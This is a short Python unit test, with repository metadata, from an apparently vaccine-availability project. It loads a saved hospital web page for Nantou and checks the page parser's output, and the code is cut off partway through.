backend/tests/integration/test_pch_nantou.py
SeanGau/vaccinate
f3d7388c666ee466da570e8c17bbe1f2caee912f
[ "MIT" ]
39
2021-05-01T03:36:44.000Z
2021-11-16T13:29:21.000Z
backend/tests/integration/test_pch_nantou.py
SeanGau/vaccinate
f3d7388c666ee466da570e8c17bbe1f2caee912f
[ "MIT" ]
50
2021-04-28T10:57:07.000Z
2021-08-19T05:13:07.000Z
backend/tests/integration/test_pch_nantou.py
SeanGau/vaccinate
f3d7388c666ee466da570e8c17bbe1f2caee912f
[ "MIT" ]
19
2021-05-02T04:25:02.000Z
2021-07-11T04:34:16.000Z
import unittest import os from Parsers.pch_nantou import * from hospital_types import AppointmentAvailability, HospitalAvailabilitySchema class TestChanggungChiayi(unittest.TestCase): def test_full(self) -> None: with open("backend/tests/saved_pages/pch_nantou_full.html") as html_file: expect...
41.6
86
0.671474